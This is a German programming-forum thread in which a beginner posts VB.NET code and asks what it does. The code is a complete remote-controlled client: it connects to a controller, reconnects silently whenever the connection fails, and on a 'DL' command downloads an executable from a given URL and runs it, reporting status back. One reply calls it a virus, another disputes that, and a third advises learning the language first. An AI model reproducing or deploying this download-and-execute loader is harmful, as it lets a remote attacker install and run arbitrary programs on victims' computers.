Quellcode erläutern?

  • VB.NET

Es gibt 6 Antworten in diesem Thema. Der letzte Beitrag () ist von ErfinderDesRades.

    Quellcode erläutern?

    Hey Leute kann mir wer mal bitte den Code erläutern ich versteh da echt garnichts. :(

    danke im vorraus :D

    VB.NET-Quellcode

    1. Imports System.Net, System.Net.Sockets, System.IO
    2. Module Module1
    3. Dim host As String = "127.0.0.1"
    4. Dim port As Integer = 7008
    5. Dim client As TcpClient
    6. Sub Main()
    7. Dim t As New Threading.Thread(AddressOf KeepOpen)
    8. t.Start()
    9. Connect()
    10. End Sub
    12. Sub Connect()
    13. Try
    14. client = New TcpClient(host, port)
    15. Send("CONNECTED|1.0|Idle...")
    16. client.GetStream().BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
    17. Catch ex As Exception
    18. Threading.Thread.Sleep(4000)
    19. Connect()
    20. End Try
    21. End Sub
    23. Sub Read(ByVal ar As IAsyncResult)
    24. Dim message As String
    25. Try
    26. Dim reader As New StreamReader(client.GetStream())
    27. message = reader.ReadLine()
    28. Parse(message)
    29. client.GetStream().BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
    30. Catch ex As Exception
    31. Threading.Thread.Sleep(4000)
    32. Connect()
    33. End Try
    34. End Sub
    36. Sub Parse(ByVal Message As String)
    37. Try
    38. Dim cut() As String = Message.Split("|")
    39. Select Case cut(0)
    40. Case "DL"
    41. Try
    42. Dim w As New WebClient()
    43. Dim temp As String = Path.GetTempFileName() + ".exe"
    44. SendStatus("Downloading File...")
    45. w.DownloadFile(cut(1), temp)
    46. Process.Start(temp)
    47. SendStatus("File Executed...")
    48. Catch ex As Exception
    49. SendStatus("Error Downloading File...")
    50. End Try
    51. End Select
    52. Catch ex As Exception
    53. End Try
    54. End Sub
    56. Sub Send(ByVal message As String)
    57. Try
    58. Dim writer As New StreamWriter(client.GetStream())
    59. writer.WriteLine(message)
    60. writer.Flush()
    61. Catch ex As Exception
    62. End Try
    63. End Sub
    65. Sub SendStatus(ByVal Message As String)
    66. Try
    67. Dim writer As New StreamWriter(client.GetStream())
    68. writer.WriteLine("STATUS|" & Message)
    69. writer.Flush()
    70. Catch ex As Exception
    71. End Try
    72. End Sub
    74. Sub KeepOpen()
    75. Console.ReadLine()
    76. End Sub
    77. End Module


    Edit by der_Kurt:
    *Quellcode einigermaßen formatiert *

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „der_Kurt“ ()

    Sieht mir nach einem TCP Client aus, aufgrund der Meldung evtl. um einen HTTP-Downloader...
    aber so werde ich zumindest nichts erklären->Bitte gescheit formatieren(use FF)
    Ich wollte auch mal ne total überflüssige Signatur:
    ---Leer---

    Also,
    die Formatierung ist echt kacke
    Soviel ich jetzt gesehen hab ist das ein Programm(ein TCP-Client), der einen Server connectet und eine Datei herunterlädt(eine Exe) und die dann startet. Meiner Meinung nach ist das ein Virus. Also lass die Finger davon(mein Ratschlag)

    MFG qauqau

    schwer zu sagen wenn du mal ne zeilenschaltung machen könntest wärs echt toll :)

    und dass es nen virus ist würd ich so nicht sagen


    Opensource Audio-Bibliothek auf github: KLICK, im Showroom oder auf NuGet.

    Wenn du gar nichts von dem Stoff verstehst, isser halt zu hoch für dich.
    Das meine ich jetzt ganz ohne dich abzuqualifizieren, es ist ganz normal, dass man als Einsteiger an Themen gerät, die man einfach noch nicht meistern kann.
    Nun wäres jetzt überaus ineffizient, wenn wir dir das nun zeile für zeile auseinanderklamüsern würden, zumal ich beim Überfliegen so viele unsinnige TryCatches gesehen habe, dassich den Code erstmal als absolut unbrauchbar bezeichnen würde.
    Lerne lieber die Sprache richtig, und im Zusammenhang, etwa mit diesem Buch.
    Und stell dann differenzierte, noch offen gebliebene Fragen (wobei ich für gut möglich halte, dass nach dem Buch keine mehr bleiben).